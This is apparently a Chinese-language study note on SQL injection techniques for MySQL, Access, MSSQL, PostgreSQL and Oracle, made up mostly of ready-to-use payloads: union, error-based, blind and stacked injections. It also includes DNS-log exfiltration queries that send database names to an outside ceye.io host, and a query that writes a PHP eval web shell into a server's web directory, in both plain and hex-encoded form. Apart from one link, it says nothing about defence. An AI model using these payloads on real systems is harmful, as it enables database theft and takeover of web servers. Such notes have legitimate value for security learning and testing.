sql注入漏洞
SQL injection攻击包括插入或“注入”的SQL查询,通过输入数据从客户端的应用程序。一个成功的SQL注入攻击可以从数据库中阅读敏感数据,修改数据库数据(插入/更新/删除) ,执行管理处业务的数据库(如关闭数据库管理系统) ,收回的内容,一个给定的文件现有的数据库管理系统文件系统,在某些情况下,发出命令的作业系统。 SQL注入攻击是一种injection attack, SQL命令注入数据平面的投入,以影响执行预定义的SQL命令。
sql注入基本原理
注入产生的原因:
- 服务器没有对用户输入的信息进行严格的过滤
- 查询语句与用户输入的内容进行拼接
1 | select * from users where id='$id'; |
当select * from users where id='' or 1=1 #';
的时候会输出所有的信息。
sql注入分类介绍
字符型注入
数字型注入
联合注入
报错注入
盲注
时间盲注
布尔盲注
mysql数据库重点数据表
information_schema
- schemata 所有数据库名
- schema_name
- tables 所有表名
- table_schema 表所在库名
- table_name 表名
- columns
- table_schema 所在库名
- table_name 所在表名
- column_name 字段名
mysql数据库联合注入手动
select * from users where id='' order by 3--+'
如果order by 数字
数字的值大于字段数,则会报错:
例如4:
Unknown column '4' in 'order clause'
之后可以使用union select
查询
select * from users where id='' union select 1,2,3--+'
sql注入盲注
有些时候没有回显,但是有报错信息,可以尝试盲注
布尔盲注
1 | length() |
select * from users where id='1' and LENGTH(DATABASE())=8;
只有当位数正确的时候才会显示正常。或者使用<和>
如果没有正常或者不正常的显示,尝试报错和时间注入。
报错
常用3种
常用的特殊字符:’ \ ; %00 ) ( # "
1 | floor() |
1 and extractvalue(1,concat(user(),0x7e,version()))--+
1 and updatexml(1,concat(user(),0x7e,version()),1)--+
1 and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
记录必须要在3条以上
如果去掉rand(0)当中的随机因子0,返回的结果是随机报错。
加入随机因子之后,每次执行select floor(rand(0)*2) from users
的结果中,的0和1位置都相同,就有了确定性—-011011
select count(*) from users group by floor(rand(0)*2);
- 查询之前会建立一个空的虚拟表
key | count(*) |
---|---|
- 取得第一条记录,执行
floor(rand(0)*2)
发现结果是0(第一次),查询虚拟表,发现0并不存在,floor(rand(0)*2)
会被再次计算,结果为1(因为011011–),之后会将1插入虚拟表中
key | count(*) |
---|---|
1 | 1 |
- 查询第二条记录,计算
floor(rand(0)*2)
结果为1,查询虚拟表,发现1的键值存在,所以floor(rand(0)*2)
不会再次计算,count(*)
+1
key | count(*) |
---|---|
1 | 2 |
- 查询第三条记录,计算
floor(rand(0)*2)
结果为0,键值没有0,尝试插入新数据,插入数据的时候floor(rand(0)*2)
再次计算,值为1,但是1的主键已经存在,插入的时候会报错 - floor(rand(0)*2)在此过程中执行了5次,查询原数据表3次,所以这就是为什么数据表中需要3条及以上的数据,该
时间
sleep()
sql注入宽字节
magic_quotes_qpc参数设置为ON的时候,所有的'"\和null
都会在前面加上一个\
还有很多的函数例如:addslashes(),mysql_escape_string(),mysql_real_escape_string()
\
的十六进制是%5c
前面加上%df
会组成一个汉字(GBK)
sql注入堆叠注入
局限性很大
影响函数mysqli_multi_query()
原理:;
用来表示一条sql语句的结束,当使用上面的函数时,例如select * from user where id="1";select database(),1;
这样会显示出数据库名称。
新建表select * from user where id="1";create table test like user;
select * from users where id='1';insert into users(id,username.password) value(999,'a','b')--+
二次编码注入
影响函数urldecode()
服务器在处理输入数据后进行了urldecode()
waf对输入的字符进行了转义,比如
输入id=1%27
识别为id=1'
转义之后为id=1\'
不能进行注入
如果php中使用了urldecode()
放在了错误的位置
可能会发生以下情况:
输入id=1%2527
识别为id=1%27
此处的%25
经过了urldecode()
变成了%
那么后面的就变为id=1'
方法:
黑盒:找注入点,加上%2527
白盒:查找是否使用了urldecode()
,并且放置的位置是否在转义方法之后
sql头部注入
HTTP头注入
- Cookie
- User-Agent
- Referer头
- X-Forwarded-For
- Client-IP
- Host
伪静态注入
分析是否是伪静态
控制台:document.lastModified
按上下箭头 看时间是否改变 如果改变就是伪静态
http://www.aaa.com/1'.html
DNS快速注入
SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,0)
当使用
select load_file('\\\\aabba.7n9115.ceye.io\\aaa');
平台上就会出现信息,而aabba就是需要查询的语句
select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))
sql注入waf绕过
单独一章学习
mysql+php对服务器文件进行读写操作
前提:
- 知道远程目录
- 有相应权限
- 数据开启secure_file_priv
读取load_file('路径')
写入select '<?php @eval($_GET[777])?>' into outfile '路径'
select '<?php phpinfo();?>' into outfile 'D:/huangjing/phpstudy_pro/WWW/1.txt';
1' union select 1,0x3c3f706870406576616c28245f4745545b3737375d293b3f3e into outfile 'D:/huangjing/phpstudy_pro/WWW/15.txt'--+
access数据库注入
手工注入语句
',and 1=1,and 1=2
查看变化and exists(select * from admin)
猜表名,返回正确表示存在and exists(select username from admin)
同上and (select top 1 len(username) from admin)=1
猜字段and (select top 1 asc(mid(username,1,1))from admin)=97
mssql数据库注入
sqlserver
mssql系统自带库—master
自带表—sysobjects
表内name表名,xtype表类型,id字段用来链接syscoumns表
SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2105058535;
1 | MSSQL中常用参数 |
原理与mysql一致
union select null,null,null
1 | and exists (select * from sysobjects); ##判断是否有sysobjects表,是否为mssql数据库 |
PostgreSQL数据库注入
1 | parameter = 2-1 |
oracle数据库注入
来自:https://www.jianshu.com/p/abf16e370d4a
1 | and 1=2 union select null,null,null from dual-- |
盲注
1、DNSlog(此方法需要 Oracle 数据库用户拥有网络访问权限 手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/ )
union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||’.5nj58o.ceye.io’),null FROM DUAL– //UTL_HTTP.REQUEST型
union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||’.5nj58o.ceye.io’),null FROM DUAL– //UTL_INADDR.GET_HOST_ADDRESS型
2、布尔盲注
and (select count(table_name) from user_tables)>1– //获取表的个数
and (select length(table_name) from user_tables where rownum=1)>1– //获取第一个表的表名长度
and ascii(substr((select table_name from user_tables where rownum=1),1,1))>80– //获取第一个表的第一个字符的Ascii码的值
3、时间盲注(慎用,会很卡)
and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),’S’,(select count(*) from all_objects),1) from dual)– //判断第一个表名的第一个字符
报错注入(获取数据库版本信息)
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and(selectdbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null–
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null–
and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)–
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))–
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))–
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null–
sql注入防御
https://blog.csdn.net/myron_sqh/article/details/12975563
sqlmap
单独一章学习
参考文章:
渗透攻防Web篇-SQL注入攻击初级https://paper.seebug.org/15/
如何防止SQL注入https://blog.csdn.net/myron_sqh/article/details/12975563
Web安全之SQL注入攻击技巧与防范https://www.cnblogs.com/csniper/p/5802202.html
(转-收集)MSSQL手工注入语句集合https://blog.csdn.net/weixin_41678306/article/details/79439741
Oracle注入大全https://www.jianshu.com/p/abf16e370d4a
【SQL注入】之MSSQL注入https://www.cnblogs.com/yankaohaitaiwei/p/11809398.html
(转-收集)MSSQL手工注入语句集合https://blog.csdn.net/weixin_41678306/article/details/79439741